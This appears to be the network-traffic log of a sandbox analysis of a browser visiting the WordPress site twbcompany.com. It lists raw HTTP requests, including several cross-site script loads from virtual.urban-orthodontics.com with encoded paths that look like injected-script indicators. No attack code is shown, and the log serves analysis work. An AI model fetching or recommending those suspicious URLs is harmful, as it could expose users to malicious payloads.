Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-14001.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/iso-ts16949.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/2016/wp-content/themes/twb_2016/assets/styles/main.css?ver=6.5.4Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/twc-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/twb-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/sprites-ico-footer-arrows.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/flags.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/q1.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/scripts/main.min.js?ver=20120206 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/js/skip-link-focus-fix.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/images/logos/worthington-industries-v3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2019/05/baosteeldark2.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/themes/twb_2016/assets/plugins/lightcase/lightcase.js?ver=20130115 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/09/hot-formed-thumb.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1
Source: global traffic	HTTP traffic detected: GET /update.min.js HTTP/1.1Host: browserupdate.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-includes/js/wp-emoji-release.min.js?ver=6.5.4 HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2017/08/IMG_4093_red-paint-removed.jpg HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
Source: global traffic	HTTP traffic detected: GET /update.show.min.js HTTP/1.1Host: browser-update.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update.min.js HTTP/1.1Host: browserupdate.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /static/img/small/c.png HTTP/1.1Host: browser-update.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /update.show.min.js HTTP/1.1Host: browser-update.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /higutf0KTdziChSHsBsCl/VcS8WkEgzU6ElCzPxNcdP2CgKX9AoUl+FCXNriW0bS801NxP9fVMTjRVyX+w== HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=es9pCcgFWrmLRaz&MD=raKnuGEA HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /static/img/small/c.png HTTP/1.1Host: browser-update.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /2016/wp-content/uploads/2015/08/FSW-machine-landing-pg-option-3.png HTTP/1.1Host: www.twbcompany.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0
Source: global traffic	HTTP traffic detected: GET /higutf0KTdziChSHsBsCl/VcS8WkEgzU6ElCzPxNcdP2CgKX9AoUl+FCXNriW0bS801NxP9fVMTjRVyX+w== HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9ZLmCo6whWORsNw4w6HKKIbmg3rXqMRmlPyCY5v1uWyc/oMo2bCUKM+wlXiA5sR3 HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CwzD6XAuoIBvLvnbPT/vy3h4ppkpNuGFamKngGVrnJp/bbeaKSDhmn8u+dgnLrHLMS6lmX124ZQ= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.twbcompany.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9ZLmCo6whWORsNw4w6HKKIbmg3rXqMRmlPyCY5v1uWyc/oMo2bCUKM+wlXiA5sR3 HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /CwzD6XAuoIBvLvnbPT/vy3h4ppkpNuGFamKngGVrnJp/bbeaKSDhmn8u+dgnLrHLMS6lmX124ZQ= HTTP/1.1Host: virtual.urban-orthodontics.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /commercial-transportation/ HTTP/1.1Host: www.twbcompany.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _ga_E694J4CV2M=GS1.2.1728299823.1.0.1728299823.0.0.0; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238
